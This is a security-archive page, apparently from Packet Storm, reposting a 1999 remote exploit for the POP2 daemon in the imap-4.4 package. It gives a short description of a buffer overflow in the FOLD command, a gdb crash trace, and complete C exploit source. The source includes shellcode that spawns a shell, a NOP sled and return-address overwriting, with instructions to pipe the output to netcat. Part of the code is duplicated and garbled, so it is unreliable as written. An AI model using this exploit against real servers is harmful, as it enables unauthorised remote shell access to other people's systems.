ignore security and it'll go away

ipop2d.txt

ipop2d.txt
Posted Aug 17, 1999
Authored by Bind

exploit for ipop2 daemons shipped with the imap-4.4 package; remote attackers can spawn a shell with uid of user "nobody". 3.060 kb.

tags | exploit, remote, shell, imap
MD5 | b99db7faac1209b79c3b3a9612b3e14e

ipop2d.txt

Change Mirror Download
Vulnerable Program: POP2 shipped with imap-4.4 package
Platforms: Linux
Impact: Remote users can spawn a shell with uid of user "nobody"
Reported Initally: Chris Evans
Exploit Code: bind <bind@datasurge.net>


Details:
--------
POP-2 supports anonymous proxy service where remote users can connect to
remote imap servers and login with a valid l/p. After authenticated with
the imap server, the command "FOLD" with a buffer of 1002 will completely
overwrite eip. Due to the fact that ipop2 sets the uid to nobody's you
cannot spawn a rootshell :(

.
.
(gdb) run
+ POP2 localhost v4.46 server ready
HELO localhost:b4h p4ssw0rd
#0 messages in {localhost:143/imap/user=bind}INBOX
FOLD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA......................... (1002 'A's)

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) info all-registers
.
.
esp 0xbffff5ec 0xbffff5ec
ebp 0x41414141 0x41414141
esi 0xbffff605 -1073744379
edi 0x80865ca 134768074
eip 0x41414141 0x41414141
.
.

Exploit Code:
-------------

Pipe output to netcat...

/*
* subipop2d.c (c) 1999 Subterrain Security
*
* Written by bind - June 18, 1999
*
* Vulnerable: ipop2 daemons shipped with the imap-4.4 package
* Compromise: remote users can spawn a shell as user "nobody
*
* Greets: vacuum, xdr & cripto...
*
* Usage:
* ./subipop2 <auth> <user> <pass> [offset] [alignment] [wait]
*
* Try offsets -500...500, alignment option should be between 0 and 4
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define RET 0xbffff718
#define NOP 0x90
#define WAIT 20

char shellcode[] = /* shellcode borrowed from plaguez's imapx.c */
"\xeb\x38\x5e\x89\xf3\x89\xd8\x80\x46\x01\x20\x80\x46\x02\x20\x80"
"\x46\x03\x20\x80\x46\x05\x20\x80\x46\x06\x20\x89\xf7\x83\xc7\x07"
"\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc3\xff\xff\xff\x2f"
"\x42\x49\x4e\x2f\x53\x48\x00";

int main (int argc, char **argv)
{
char buf[1002], *auth, *user, *pass;
int i, offset = 0, align = 0, timeout = WAIT;
unsigned long addr;

if (argc < 4)
{
printf ("usage: %s <auth> <user> <password> [offset] [alignment]"
" [wait]\n",
argv[0]);
exit (1);
}

auth = argv[1];
user = argv[2];
exit (1);
}

auth = argv[1];
user = argv[2];
pass = argv[3];

if (argc > 4) offset = atoi (argv[4]);
if (argc > 5) align = atoi (argv[5]);
if (argc > 6) timeout = atoi (argv[6]);

addr = RET - offset;

memset (buf, NOP, 1002);
memcpy (buf + 500, shellcode, strlen (shellcode));

for (i = (strlen (shellcode) + (600 + align)); i <= 1002; i += 4)
*(long *) &buf[i] = addr;

sleep (2);
printf ("HELO %s:%s %s\n", auth, user, pass);
sleep (timeout);
printf ("FOLD %s\n", buf);

}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close